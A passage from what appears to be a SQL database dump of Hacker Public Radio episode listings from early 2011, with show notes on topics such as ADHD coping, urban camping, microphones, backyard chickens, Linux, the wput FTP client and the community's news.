KWTV LIVE 2010 : Day one. <a href=\"https://www.ustream.tv/recorded/11700546\">Hour 4</a></li>\r\n<li><strong>Special</strong> thanks to <a href=\"https://maia.enge.li/\">Miai</a> who endured the pain of uploading all episodes from ep0001 to ep0620 to archive.org</li>\r\n<p />\r\n<h3>Mailing List News</h3>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\">sigflup</a> offered to put up an ice cast server to play hpr reruns and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=77\">Dave Yates</a> answered the call</li>\r\n<li>More talk about the new RSS feeds. I still need more feed back on the <a href=\"https://hackerpublicradio.org/test.xml\">test RSS 2.0</a> feed</li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=128\">Pokey</a> has ordered a booth for <a href=\"https://www.northeastlinuxfest.org/\">North east linux fest</a> and has ordered HPR stickers and is looking for help. Listen to episode <a href=\"https://hackerpublicradio.org/eps.php?id=0630\">hpr0630</a> for more information</li>\r\n<li>HPR TV - Droops want\'s to do TV on HPR - everyone seems to like the idea. More on this as it develops.</li>\r\n<li>Jason Scott of <a href=\"https://textfiles.com/\">textfiles.com</a> has offered to mirror hpr for us.</li>\r\n<p />\r\n<h3>A year in review</h3>\r\n<p>We Published 131 of a possible 261 shows in 2010.<br />\r\nWe will need 260 shows for 2011 and so far we have 17 needless to say we need <a href=\"https://hackerpublicradio.org/contribute.php\">shows</a>.</p>\r\n<p>There were 37 hosts.</p>\r\n<ul>\r\n<li>Contributing one show: <em>tmacuk, Patrick L Archibald, Dave Yates, janedoc, Enigma, Roundtable, elel, thewtex, Johninsc, Thistleweb, Ruji, pegwole, cobra, FiftyOneFifty, Curbuntu, arfab, brother mouse, StankDawg, Flaviu Simihaian, guitarman, and Dann</em></li>\r\n<li>Contributing two shows: <em>PipeManMusic, Quvmoh, Jared Mayes, and Urban Koistinen</em></li>\r\n<li>Contributing three shows: <em>JWP, sp0rus, deepgeek</em></li>\r\n<li>Contributing four shows: <em>lostnbronx, monsterb, and pokey</em></li>\r\n<li>Contributing five shows: <em>Xoke</em></li>\r\n<li>Contributing seven shows: <em>SigFlUP, and K5TUX</em></li>\r\n<li>Contributing eight shows: <em>Drake Anubis</em></li>\r\n<li>Contributing ten shows: <em>Ken Fallon </em></li>\r\n<li>Contributing eleven shows: <em>Michael Foord</em></li>\r\n<li>Contributing thirteen shows: <em>finux</em></li>\r\n<li>Contributing twenty shows: <em>klaatu</em></li>\r\n</ul>\r\n<p><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\">Droops</a> has offered to help improve the site stats.</p>\r\n<p />\r\n<h3>Thank You !</h3>\r\n<p>Thanks to everyone who supported HPR in 2010 and have a great new year</p>\r\n<p />\r\n<h3>A word from our spammers</h3>\r\n<p>Despite all the comments been approved our dedicated team of spammers continue to visit.</p>\r\n<p />\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.ustream.tv/recorded/11700546\">https://www.ustream.tv/recorded/11700546</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/comments_viewer.php\">https://hackerpublicradio.org/comments_viewer.php</a>\r\n<li><a href=\"https://maia.enge.li/\">https://maia.enge.li/</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/test.xml\">https://hackerpublicradio.org/test.xml</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a></li>\r\n</ul>',159,47,1,'CC-BY-NC-SA','Community News',0,2570,1),
(632,'2011-01-04','Notebook Method for ADHD',711,'A technique for coping with the symptoms of ADHD','I recently graduated college and wanted to share a coping skill that I call the Notebook Method, it is used for organization and study.',1,0,1,'CC-BY-NC-SA','\"fountain pen\",\"mental health\",tools',0,2510,1),
(633,'2011-01-05','The Language Frontier Episode 1',1379,'ep-1: she talks about the importance of language in everyday life, the media, ads, buzzwords, etc.','<p>Skirlet introduces her new six-part miniseries, The Language Frontier.</p>\r\n<p>In this episode, she talks about the importance of language in everyday life, the media, ads, buzzwords, and more.</p> \r\n<p>Listen to this episode in ogg vorbis via <a href=\"https://www.aesdiopod.com/thelanguagefrontier/hpr_TLF-1.ogg\" target=\"_blank\">aesdiopod</a>.</p>\r\n\r\n<p><a href=\"https://www.aesdiopod.com/thelanguagefrontier/hpr_TLF-1.ogg\" target=\"_blank\">https://www.aesdiopod.com/thelanguagefrontier/hpr_TLF-1.ogg</a></p>',88,48,1,'CC-BY-NC-SA','language,\"the media\",ads,buzzwords',0,2497,1),
(634,'2011-01-06','Urban Camping ep 5',1595,'Episode 5: where to find food','<p>The fifth episode in Klaatu\'s HOW TO be an Urban Camper mini series, about where to find food.</p>',78,46,0,'CC-BY-NC-SA','\"free food\",\"dumpster diving\",stealing,bartering',0,2581,1),
(635,'2011-01-07','Cloudy Predictions',873,'A new contributor talks about the downside of external cloud solutions','<p>\r\nA case against cloud computing.  Migrate your mission critical applications to your own personal cloud.  Thousands of engineers have donated software which allows you to host almost any application genre that you like; including but not limited to web mail, wikis, social bookmarking, blogs, storage and sync, etc.<br />  Contact me @ dismal.science.hpr AT gmail DOT com</p>',141,0,1,'CC-BY-NC-SA','del.icio.us,atlassian.com,insipid',0,2839,1),
(636,'2011-01-10','Kid3-qt',1656,'Using Kid3-qt to modify audio metadata, for changing playback order in some media players','<p>An id3 tag is meta-data attached to an audio file, and is (ideally) about the file to which it is attached. If you\'ve ever tried to edit id3 tags through a media player, then you know what a pain that is. If you haven\'t... Well, now you never have to. Rejoice! Kid3-qt is an id3 tag editor, and it is awesome.\r\n<br />\r\nThe main website for Song Fight is <a href=\"https://songfight.org/\">https://songfight.org/</a><br />\r\nSong Fight\'s official stance on Copyright may be found at <a href=\"https://songfight.org/faq.html#copyright\">https://songfight.org/faq.html#copyright</a><br />\r\nThe direct link to today\'s song is <a href=\"https://www.songfight.org/music/shreds/brickpig_shreds.mp3\">https://www.songfight.org/music/shreds/brickpig_shreds.mp3</a><br />\r\nHacker Public Radio will have a table at the Northeast GNU/Linux Fest. Please come visit us to learn about contributing to HPR and for a free HPR sticker (while they last). You can also join in and help us out. If you\'re a contributor to HPR, represent. Please Join the Hacker Public Radio mailing list to keep up to speed on what we\'re doing.\r\nYou can sign up for the HPR mailing list at <a href=\"https://hackerpublicradio.org/mailman/listinfo/hpr_hackerpublicradio.org\">https://hackerpublicradio.org/mailman/listinfo/hpr_hackerpublicradio.org</a><br />\r\nThe main website for NELF is <a href=\"https://www.northeastlinuxfest.org/\">https://www.northeastlinuxfest.org/</a><br />\r\nThank you for listening.<br />\r\nP.S. Some people enjoy finding mistakes. For their enjoyment, I have probably included a few.</p>',128,0,1,'CC-BY-NC-SA','\"media player\",metadata,utilities',0,2468,1),
(637,'2011-01-11','Every Day Carry ',1423,'An incredibly in-depth look at how Brother Mouse organizes items on himself','<p>In my youth I was an Eagle Scout and then a soldier so I tend to err on the side of overpreparedness. To keep this episode a manageable length I will only cover my on-the-body carry and leave discussion of packs, BOBs, car carry, etc for another day.</p>\r\n                                                                                                                                                                                    \r\n<ul>                                                                                                                                                                                \r\n<li>Photo of items discussed: <br />                                                                                                                                                \r\n<a href=\"https://goo.gl/CuTew\">https://goo.gl/CuTew</a></li>                                                                                                                          \r\n                                                                                                                                                                                    \r\n<li>SAS Cricket dark safety glasses, usable as sunglasses:<br />                                                                                                                    \r\n<a href=\"https://goo.gl/vXd9m\">https://goo.gl/vXd9m</a></li>                                                                                                                          \r\n                                                                                                                                                                                    \r\n<li>Done Hume holsters of the type I describe:<br />                                                                                                                                \r\n<a href=\"https://goo.gl/VqoHV\">https://goo.gl/VqoHV</a></li>                                                                                                                          \r\n                                                                                                                                                                                    \r\n<li>A comparison of original and current Endura models:<br />                                                                                                                       \r\n<a href=\"https://www.youtube.com/watch?v=aiX5tqXD38I\">https://www.youtube.com/watch?v=aiX5tqXD38I</a></li>                                                                            \r\n                                                                                                                                                                                    \r\n</ul>                                                                                                                                                                               \r\n<p>                                                                                                                                                                                 \r\nIf you dislike the new Endura4 style you may want to consider the new Pacific Salt line;  it appears to be based on the classic Endura.</p>                                         \r\n                                                                                                                                                                                    \r\n                                                                                                                                                                                    \r\n                                                                                                                                                                                    \r\n<h3>Corrections and Clarifications:</h3>                                                                                                                                            \r\n\r\n<p>The Scala 700 blinks by default, but the LED can be turned off.\r\nWhile streaming a2dp the Jabra 530 does blink briefly after button\r\npresses then stops.</p>\r\n\r\n<p>The Endura\'s blade is less than 4\" from tip to handle, making it compliant\r\nwith most pocketknife laws. Be sure to check your local laws and measure\r\nyour blade including the tang, because a LEO might do the same. It has been\r\nsaid, wisely, \"You might beat the rap, but you won\'t beat the ride.\"</p>',140,0,1,'CC-BY-NC-SA','bluetooth,firearm,knife,sunglasses',0,2546,1),
(638,'2011-01-12','Urban Camping ep 6',1531,'Episode 6: making money','<p>Episode 6 of HOW TO be an Urban Camper.  This one talks about making money whilst urban camping.</p>\r\n<p>End song is \"Play or Give me my Money Back\" by Michael Tokarick via archive.org</p>',78,46,0,'CC-BY-NC-SA','\"part-time job\",\"odd job\",\"business card\",freelance,\"street performing\"',0,2605,1),
(639,'2011-01-13','Podcasts are not Radio',254,'An explanation of the differences between radio and podcast time constraints','Radio hosts and Podcasters have different goals and ways to go about them.  Do not follow my example, but instead keep your podcasts all about the content.',1,0,1,'CC-BY-NC-SA','podcasting',0,5129,1),
(640,'2011-01-14','About microphones',1192,'An explanation of the technology behind microphones, and how to use them in recording','<ul>\r\n<li>Errata:</li>\r\n  <ul>\r\n  <li>Sample rate issues with previous shows.</li>\r\n  <li>It\'s called sample rate not bit rate. Bit rate has to do with compression formats.</li>\r\n  <li>Links for more information on mumble. </li>\r\n    <ul>\r\n    <li>Info on the new recording feature in mumble. <a href=\"https://mumble.sourceforge.net/1.2.3\">https://mumble.sourceforge.net/1.2.3</a></li>\r\n    <li>Info on compiling Mumble from source. <a href=\"https://mumble.sourceforge.net/BuildingLinux\">https://mumble.sourceforge.net/BuildingLinux</a></li>\r\n    <li>A not very good walk-through on recording mumble output using pulse audio. <a href=\"https://files.kral.ws/Tobias/Gentoo/mumble-conference_record_with_pulseaudio_and_gstreamer.txt\">https://files.kral.ws/Tobias/Gentoo/mumble-conference_record_with_pulseaudio_and_gstreamer.txt</a></li>\r\n    </ul>\r\n</ul>\r\n<li>How does a microphone work?</li>\r\n  <ul>\r\n  <li>Condenser</li>\r\n    <ul>\r\n    <li>Phantom Power </li>\r\n    </ul>\r\n  <li>Dynamic</li>\r\n  <li>Ribbon </li>\r\n  </ul>\r\n\r\n<li>What does a microphone pre-amplifier do? </li>\r\n\r\n<li>What types of capture devices you can use?</li>\r\n  <ul>\r\n  <li>USB</li>\r\n    <ul>\r\n    <li>v1.0 vs. v2.0 </li>\r\n    </ul>\r\n  <li>PCI</li>\r\n  <li>FireWire</li> \r\n  </ul>\r\n</ul>\r\n',134,0,1,'CC-BY-NC-SA','audio,\"audio production\",microphone,recording',0,2539,1),
(641,'2011-01-17','Urban Camping ep 7',1305,'Episode 7: what to do all day!','<p>What does an urban camper do all day?  Find out in this exciting seventh episode of the HOW TO be an Urban Camper mini series!</p>\r\n<p>Say, is that Irving Gillette and the lovely Ada Jones singing \"In the Heart of the City That Has No Heart\" at the end?  Why yes! it is.  But don\'t thank me, thank <a href=\"https://www.archive.org\" target=\"_blank\">archive.org</a></p>',78,46,0,'CC-BY-NC-SA','job,cafe,library,university,parks,friends,streets,\"community establishment\"',0,2520,1),
(642,'2011-01-18','Hacking Your Suburban Backyard with Chickens',2263,'The benefits and drawbacks of keeping chickens in your yard, with audio examples','<p>Remember that feeling you got when you compiled your first executable\r\nand ran that sucker?  You can get that feeling again every time you reach\r\nin the nestbox and pull out a freshly laid egg from birds you tend with\r\nyour own hands.  \"Roll your own\" eggs, then \"share and enjoy\" the surplus.</p>\r\n\r\n<h3>Topics covered:</h3>\r\n<ol>\r\n<li>Chickens == biological glue code</li>\r\n<li>Benefits of backyard chickening</li>\r\n<li>Challenges and misconceptions</li>\r\n<li>What you need (hardware): coop or tractor, feeders/waterers, materials</li>\r\n<li>What you need (wetware): chicks v. pullets v. hens.</li>\r\n<li>Breeds: egg production, meat production, dual purpose, ornamentals</li>\r\n<li>Don\'t panic:  things that freak out newbie chickeners</li>\r\n</ol>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li>Chicken selector: <a href=\"https://www.mypetchicken.com/chicken-breeds/which-breed-is-right-for-me.aspx\">https://www.mypetchicken.com/chicken-breeds/which-breed-is-right-for-me.aspx</a></li>\r\n\r\n<li>Backyard Chickens forum: <a href=\"https://www.backyardchickens.com\">https://www.backyardchickens.com</a></li>\r\n\r\n<li>Wiki overview of chicken tractors: <a href=\"https://en.wikipedia.org/wiki/Chicken_tractor\">https://en.wikipedia.org/wiki/Chicken_tractor</a></li>\r\n                                                                                                                                                                                 \r\n<li>Some other tractor ideas: <a href=\"https://home.centurytel.net/thecitychicken/tractors.html\">https://home.centurytel.net/thecitychicken/tractors.html</a></li>                 \r\n                                                                                                                                                                                 \r\n<li>Some pictures of my setup: <a href=\"https://s722.photobucket.com/albums/ww222/fratermus/chickens/\">https://s722.photobucket.com/albums/ww222/fratermus/chickens/</a></li>      \r\n</ul>',140,0,1,'CC-BY-NC-SA','chickens',0,2649,1),
(643,'2011-01-19','What\'s on my MP3 Player',746,'What\'s on my MP3 Player','<P>\r\nNot all of it it tech, there is some history and some business thrown in there. If I do not listen your show, it is either too smart for me, too awesome for normal listening, or I do not know about it.  Please tell me.\r\n</P>\r\n<P>\r\nSome of this can be found on <A HREF=\"https://Hackermedia.org\">https://Hackermedia.org</A>, let me know what the site is missing. \r\n</P>\r\n<P>\r\nThe big list:\r\n</P>\r\n\r\n<UL>\r\n<LI>Anonymous Audio (<A HREF=\"https://anonymousaudio.com/\">https://anonymousaudio.com/</A>)\r\n<LI>Common Sense with Dan Carlin (<A HREF=\"https://dancarlin.com/\">https://dancarlin.com/</A>)\r\n<LI>Coverville (<A HREF=\"https://coverville.com/\">https://coverville.com/</A>)\r\n<LI>Dan Carlin\'s Hardcore History (<A HREF=\"https://dancarlin.com/\">https://dancarlin.com/</A>)\r\n<LI>EuroTrash (<A HREF=\"https://www.eurotrashsecurity.eu\">https://www.eurotrashsecurity.eu</A>)                                                                                                                                      \r\n<LI>Flatland, a romance of many dimensions - (<A HREF=\"https://www.podiobooks.com/title/flatland\">https://www.podiobooks.com/title/flatland</A>)                                                                                                \r\n<LI>Freakonomics (<A HREF=\"https://freakonomics.blogs.nytimes.com/\">https://freakonomics.blogs.nytimes.com/</A>)                                                                                                                            \r\n<LI>Hack Radio Live (<A HREF=\"https://www.hackradiolive.org/\">https://www.hackradiolive.org/</A>)                                                                                                                                  \r\n<LI>Hacker Public Radio (<A HREF=\"https://hackerpublicradio.org/\">https://hackerpublicradio.org/</A>)                                                                                                                              \r\n<LI>Harvard Business Review Ideacast (<A HREF=\"https://blogs.hbr.org/ideacast/\">https://blogs.hbr.org/ideacast/</A>)                                                                                                                \r\n<LI>NPR - Talk of the Nation (<A HREF=\"https://www.npr.org/programs/talk-of-the-nation/\">https://www.npr.org/programs/talk-of-the-nation/</A>)\r\n<LI>NPR - From Scratch (<A HREF=\"https://www.npr.org/series/126166186/from-scratch\">https://www.npr.org/series/126166186/from-scratch</A>)\r\n<LI>NPR - Planet Money (<A HREF=\"https://www.npr.org/money\">https://www.npr.org/money</A>)\r\n<LI>NPR - Fresh Air (<A HREF=\"https://www.npr.org/programs/fresh-air/\">https://www.npr.org/programs/fresh-air/</A>)\r\n<LI>NPR - Wait Wait, Don\'t Tell Me (<A HREF=\"https://www.npr.org/programs/wait-wait-dont-tell-me/\">https://www.npr.org/programs/wait-wait-dont-tell-me/</A>)\r\n<LI>The Cotton Club (<A HREF=\"https://www.cottonrohrscheib.com\">https://www.cottonrohrscheib.com</A>)\r\n<LI>The Drill Down (<A HREF=\"https://thedrilldown.com/\">https://thedrilldown.com/</A>)\r\n<LI>The Moth (<A HREF=\"https://www.themoth.org/\">https://www.themoth.org/</A>)\r\n<LI>This American Life (<A HREF=\"https://www.thisamericanlife.org/\">https://www.thisamericanlife.org/</A>)\r\n<LI>What Endures (<A HREF=\"https://oralhistory.blogs.lib.lsu.edu/\">https://oralhistory.blogs.lib.lsu.edu/</A>)\r\n<LI>Radiolab (<A HREF=\"https://www.radiolab.org/\">https://www.radiolab.org/</A>)\r\n</UL>\r\n<P>\r\nI did not mention a new show that I just started listening to that is pretty awesome and about photography, Tack Sharp (<A HREF=\"https://tacksharp.tv\">https://tacksharp.tv</A>).</P>\r\n\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr0643.opml\">https://hackerpublicradio.org/eps/hpr0643.opml</a>\r\n',1,75,1,'CC-BY-NC-SA','podcast,recommendation',0,2401,1),
(644,'2011-01-20','The Plop Boot Loader and UNetbootin- A Great Team',731,'How to use plop & unetbootin to boot from a USB disk even if BIOS doesn\'t support it','<P>\r\nHave you ever ran across older computers that did not have BIOS options to boot from USB? Are you tired of burning ISO discs all the time to install an operating system on machines like these? This episode could help you in reducing your collection of ISO discs down to one, and then using a single USB flash drive for all the rest of your needs. \r\n</P>\r\n<P>\r\nThe software can be downloaded from the following sites:\r\n<ul>\r\n<li><A HREF=\"https://www.plop.at/en/bootmanager.html\">https://www.plop.at/en/bootmanager.html</A></li>\r\n<li><A HREF=\"https://unetbootin.sourceforge.net/\">https://unetbootin.sourceforge.net/</A></li>\r\n</ul>\r\n</P>\r\n<P>\r\nDirect quotes about UNetbootin and the end music used in the show are referenced below:\r\nSourceforge, N.D. (Designer). (2011). Introduction to unetbootin. [Web]. Retrieved from \r\n<ul>\r\n<li><A HREF=\"https://unetbootin.sourceforge.net/\">https://unetbootin.sourceforge.net/</A> </li>\r\n<li><A HREF=\"https://www.archive.org/details/Blind_Willie_Mctell-Statesboro\">https://www.archive.org/details/Blind_Willie_Mctell-Statesboro</A></li>\r\n</ul>\r\n</P>',142,0,1,'CC-BY-NC-SA','utilities',0,2680,1),
(645,'2011-01-21','The Dinosaur\'s Dilemma',1268,'Curbuntu interviews Baylee Juran, a public-school teacher','<p><strong>Intro:</strong> Most of us grow into our computer knowledge gradually, starting because of an innate curiosity, figuring things out through trial and error, desiring to accomplish certain tasks, or just possessing a genetic predisposition to geekiness.&nbsp; But what would it be like as a <em>non</em>-geek to come from a non-technical background and be thrown into &ldquo;the deep end of the pool,&rdquo; challenging yourself to learn as much as you could from scratch, and to learn it all as quickly as you could?&nbsp; In Curbuntu&rsquo;s first interview with &ldquo;Baylee Juran,&rdquo; a career public-school teacher (and self-described technological &ldquo;dinosaur&rdquo;), Baylee shares what motivated her to lay aside a comfortable, if frustrating, teaching paradigm in the hope of evolving into a 21st-Century instructor.&nbsp; (Note: No cockatiels were harmed in the recording of this interview.)</p>\r\n<p><strong>Links:</strong> Books and websites mentioned&mdash;</p>\r\n<ul>\r\n<li><a href=\"https://www.amazon.com/Make-Money-Teaching-Online-Credibility/dp/0470100877\" target=\"_blank\"><em>Making Money Teaching Online: How to Land Your First Academic Job, Build Credibility, and Earn a Six-Figure Salary</em></a> by Danielle Babb and Jim Mirabella</li>\r\n<li>Where Baylee&rsquo;s &ldquo;second life&rdquo; started: <a href=\"https://secondlife.com\" target=\"_blank\">SecondLife</a></li>\r\n<li>Baylee&rsquo;s website: <a href=\"https://www.teacupcoffeehouse.com\" target=\"_blank\">TeaCupCoffeeHouse.com</a></li>\r\n</ul>\r\n<p><strong>Technical notes:</strong> For those of you interested in contributing first-time episodes to HPR, this interview was recorded in <a href=\"https://ubuntu.com\" target=\"_blank\">Ubuntu</a> 10.04.1 over Skype using <a href=\"https://atdot.ch/scr/download/\" target=\"_blank\">Skype Call Recorder</a> for Linux.&nbsp; (The version for &ldquo;Ubuntu / Kubuntu 8/9, i386&ldquo; seems to work fine, even on the 64-bit, 10.04 version of the operating system.)&nbsp; Post-processing (e.g., editing, adding musical HPR intro &amp; outro, normalization, exporting to MP3, etc.) was done with <a href=\"https://audacity.sourceforge.net\" target=\"_blank\">Audacity</a> 1.3.12-beta.&nbsp; Audacity-generated MP3 meta-tags were verified with <a href=\"https://easytag.sourceforge.net\" target=\"_blank\">EasyTAG</a> 1.2.6.</p>',136,78,1,'CC-BY-NC-SA','education,\"Second Life\",HTML,CSS',0,2543,1),
(646,'2011-01-24','Do we need a carrier plan for Android',1603,'Using Android without a phone or data plan, just WiFi','<p>\r\nMy argument is that Android OS is so power that you do not need a phone or data plan with it.  A simple WiFi connection will provide everything that you could ask for.</p>',141,0,1,'CC-BY-NC-SA','\"unlocked phone\",SIP,\"Session Initiation Protocol\",GPS',0,2482,1),
(647,'2011-01-25','How I Got Into Linux',1628,'brother mouse relates his journey to Linux','<p>Linux-specific content starts at the 15min mark.  Until then is all the\r\ncomputer geekery that led up to my first linux exposure.  Feel free\r\nto skip forward if you don\'t want to hear about old systems like the\r\nCommodores, TI, 5.25\" floppies, FidoNet BBS, etc.</p>\r\n\r\n\r\n<h3>URLs referenced in this episode</h3>\r\n\r\n<ul>\r\n<li>FidoNet<br />\r\n<a href=\"https://www.fidonet.org/\">https://www.fidonet.org/</a></li>\r\n\r\n<li>Apple data stored on audio cassette tape at 1200 baud:<br />\r\n<a href=\"https://www.pagetable.com/?p=31\">https://www.pagetable.com/?p=31</a></li>\r\n\r\n<li>Xubuntu (w/xcfe lighter desktop environment):<br />\r\n<a href=\"https://www.xubuntu.org/\">https://www.xubuntu.org/</a></li>\r\n\r\n<li>fluxbox lightweight window manager:<br />\r\n<a href=\"https://www.fluxbox.org\">https://www.fluxbox.org</a></li>\r\n\r\n<li>Puppy linux:<br />\r\n<a href=\"https://www.puppylinux.com/\">https://www.puppylinux.com/</a></li>\r\n\r\n<li>Tiny Core - brutally small, not for beginners::<br />\r\n<a href=\"https://www.tinycorelinux.com/\">https://www.tinycorelinux.com/</a></li>\r\n\r\n<li>antiX, a light distro:<br />\r\n<a href=\"https://antix.mepis.org/\">https://antix.mepis.org/</a></li>\r\n\r\n<li>Linux on Eee or under virtualbox:<br />\r\n<a href=\"https://muedemaus.blogspot.com/search/label/linux\">https://muedemaus.blogspot.com/search/label/linux</a></li>\r\n\r\n</ul>\r\n\r\n<h3>Clarifications and corrections:</h3>\r\n\r\n<p>The Apple ][e setup I describe was almost exactly $2000.</p>\r\n\r\n<p>I still own the TI 99/4A and BASIC manual;  I cranked it\r\nup a few years ago.  The thing that sticks out is how terrible\r\nthe keyboard is -- it\'s almost unusable but seemed fine at the\r\ntime..\r\n</p>\r\n',140,29,1,'CC-BY-NC-SA','linux',0,2475,1),
(648,'2011-01-26','Wput: a command-line ftp-client',244,'A brief overview of wput, a command-line FTP utility','<p>\r\nWput is a command-line ftp-client that looks like wget but instead of downloading, uploads files or whole directories to remote ftp-servers.\r\n</p>\r\n<h3>Main Features</h3>\r\n<ul>\r\n    <li>wget-like interface</li>\r\n    <li>TLS-encryption</li>\r\n    <li>resuming</li>\r\n    <li>speed-limit</li>\r\n    <li>time-stamping (compares local and remote dates)</li>\r\n\r\n    <li>proxy-support (socks5, http)</li>\r\n    <li>i18n</li>\r\n    <li>windows-compatibility</li>\r\n</ul>\r\n\r\n<p>Wput is a free utility that is able to upload files to a\r\nftp-server.</p>\r\n<!-- INDENTATION -->\r\n<p>Wput is non&minus;interactive and background-capable. It\r\ncan upload files or whole directories and is meant to be a\r\nrobust client even for unstable connections and will\r\ntherefore retry to upload a file, if the connection\r\nbroke.</p>\r\n<!-- INDENTATION -->\r\n<p>Wput supports resuming, so it automatically continues\r\nuploading from the point where the previous upload stopped,\r\nmeaning that you can kill Wput anytime and it will (if the\r\nremote ftp&minus;server supports this, being most likely the\r\ncase) finish the partial uploaded file.</p>\r\n<!-- INDENTATION -->\r\n<p>Wput supports connections through proxies, allowing you\r\nto use it in an environment that can access the internet\r\nonly via a proxy or to provide anonymity by hiding your\r\nip&minus;address to the server. For SOCKSv5&minus;proxies\r\nWput supports also listening mode, allowing you to use\r\nport-mode ftp through a proxy (useful if the remote ftp is\r\nbehind a firewall or a gateway).</p>\r\n<!-- INDENTATION -->\r\n<p>Wput supports timestamping, so it will (in the ideal case\r\nand if timestamping is enabled) only upload files, that are\r\nnewer than the remote-file.</p>\r\n<!-- INDENTATION -->\r\n<p>The upload-rate of Wput can be restricted, so that Wput\r\nwon&rsquo;t eat all available bandwidth.</p>\r\n\r\n\r\n<li><a href=\"https://wput.sourceforge.net/\">https://wput.sourceforge.net/</a></li>\r\n<li><a href=\"https://wput.sourceforge.net/wput.1.html\">https://wput.sourceforge.net/wput.1.html</a></li>\r\n',30,0,1,'CC-BY-NC-SA','ftp,shell,utilities',0,2341,1),
(649,'2011-01-27','Doing your own auto repairs',1613,'Methods for saving money while maintaining your vehicle','\r\n<p>\r\nQuvmoh and Phantom Hawk discuss doing your own auto repairs, getting help\r\non forums and the infamous $50 paint job\r\n</p>\r\n<ol>\r\n<li><a href=\"https://www.tirerack.com/index_w.jsp\">https://www.tirerack.com/index_w.jsp</a></li>\r\n<li><a href=\"https://www.rickwrench.com/index79master.htm?https://www.rickwrench.com/50dollarpaint.html\">https://www.rickwrench.com/index79master.htm?https://www.rickwrench.com/50dollarpaint.html</a></li>\r\n<li><a href=\"https://meguiarsonline.com/forums/showthread.php?t=40341\">https://meguiarsonline.com/forums/showthread.php?t=40341</a></li>\r\n</ul>',110,0,1,'CC-BY-NC-SA','auto,\"auto repair\",\"auto maintenance\"',0,2384,1),
(650,'2011-01-28','Dumpster Diving',1096,'Tips, tricks and precautions for salvaging hardware from dumpsters and dumps','<p>Dumpster Diving</p>\r\n<p>Cheapskate Computing</p>\r\n<p>Broam talks about how to obtain, clean, and rehabilitate computing equipment that others have thrown away, and shares a few stories.</p>',143,0,1,'CC-BY-NC-SA','hardware,recycling,repair',0,2920,1),
(651,'2011-01-31','HPR Community News 0x03',1860,'HPR Community News 0x03','<!--- There are 4 shows in the queue and 236 free slots. -->\r\n\r\n<h3>New hosts</h3>\r\nWelcome to \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=141\">Dismal Science</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=142\">N50</a> \r\nand \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=143\">Broam</a>.\r\n\r\n<h3>Show Review</h3>\r\n<li>632 Droops:: Notebook Method for <a href=\"https://en.wikipedia.org/wiki/Attention_deficit_hyperactivity_disorder\">ADHD</a></li>\r\n<!--By explaining how he copes with ADHD, we got a gimps of how difficult it must be to live with this condition.-->\r\n<li>633 Skirlet:: The Language Frontier Episode 1 </li>\r\n<!--I suspect that many common misconceptions will be shattered by the end of what promises to be an excellent series on language.-->\r\n<li>634 klaatu:: Urban Camping ep 5 - finding food</li>\r\n<!--Never one to shirk from controversy in this episode klaatu calls into question the morality of food supply.-->\r\n<li>635 Dismal Science:: Cloudy Predictions</li>\r\n<!--A new host bringing us a wake up call about the realities of cloud computing. Will the people footing the bill keep footing the bill.-->\r\n<li>636 pokey:: Kid3-qt</li>\r\n<!--First of all a big apologies to pokey for forgetting to add this show to the calendar. Pokey gives us a run through of the kid3 application for adding metadata to audio files. Greetings from Holland to his mother. And she is not exempt from my new year resolution to turn every listener into a HPR host. More about this later -->\r\n<li>637 brother mouse:: Every Day Carry</li>\r\n<!--Started by Dave S. Yates, brother mouse continues the tradition of letting us in on his daily carry. He\'s a Texan so the sidearm and knife were no surpise but sadly missing was any mention of his hat.-->\r\n<li>638 klaatu:: Urban Camping ep 6</li>\r\n<!--Klaatu gives some money saving tips and it prompted me to do my own episode on a way in which we saved a lot of money-->\r\n<li>639 droops:: Podcasts are not Radio</li>\r\n<!--Keep is short sweet and to the point. There is no time constraints on HPR ans if you can give us a tip in 5 minutes well that\'s great. Idealy we\'d have a nice mix of show lengths.-->\r\n<li>640 PipeManMusic:: About microphones</li>\r\n<!--We asked for the down and dirt about audio and PipeManMusic stepped up to the plate. This series will be referenced near and far-->\r\n<li>641 klaatu:: Urban Camping ep 7</li>\r\n<!--The last in the series and I\'m sad to see it go. Not that I\'ve turned into a vagrant but this show made me look at the world a little differently-->\r\n<li>642 brother mouse:: Hacking Your Suburban Backyard with Chickens</li>\r\n<!-- Proof that you have no clue what\'s coming next on HPR. It took me a while to figure out what he ment by a Tractor -->\r\n<li>643 droops:: Whats on my MP3 Player</li>\r\n<!-- I hated this show. Now I have a long list of great podcasts to listen to -->\r\n<li>644 N50:: The Plop Boot Loader and UNetbootin- A Great Team</li>\r\n<!-- It\'s realy cool the number of people recycling old systems. This show will probably result in two old pc\'s in my basement getting new life--> \r\n<li>645 Curbuntu and Baylee Juran:: The Dinosaur\'s Dilemma</li>\r\n<!-- Curbuntu shares with us Baylee\'s story of someone wanting to make a shift into the world of geekdom. This is her story. -->\r\n<li>646 Dismal Science:: Do you need a carrier plan with Android</li>\r\n<!-- This is one of the ones where you realize that each market is different. We don\'t have open wifi here in NL and I have unlimited for €10/pm -->\r\n<li>647 brother mouse :: How I Got Into Linux</li>\r\n<!-- His third show this month he takes on the . We had some audio issues with this show having a  sample rate is set to 11025. I check all the shows with mplayer before and after upload. It turns out that VLC can\'t handle this. Thanks to ClaudioM for pointing this out. If you notice problems with the sound please email admin asap so that we can get it fixed. I\'ve uploaded a new version so please download that again. -->\r\n<li>648 Ken Fallon:: Wput: a command-line ftp-client</li>\r\n<!-- Taking a lesson from Droops. I want to release some short shows highlighting a small programs that I use often but might not be that well known. I have a few more coming - feel free to add your own -->\r\n<li>649 Quvmoh and Phantom Hawk:: Doing your own auto repairs </li>\r\n<!-- I don\'t have a car and this brought me back to maintenance of my first car and replacing one new years evening where I had to replace a front shock out on the front street of my parents house -->\r\n<li>650 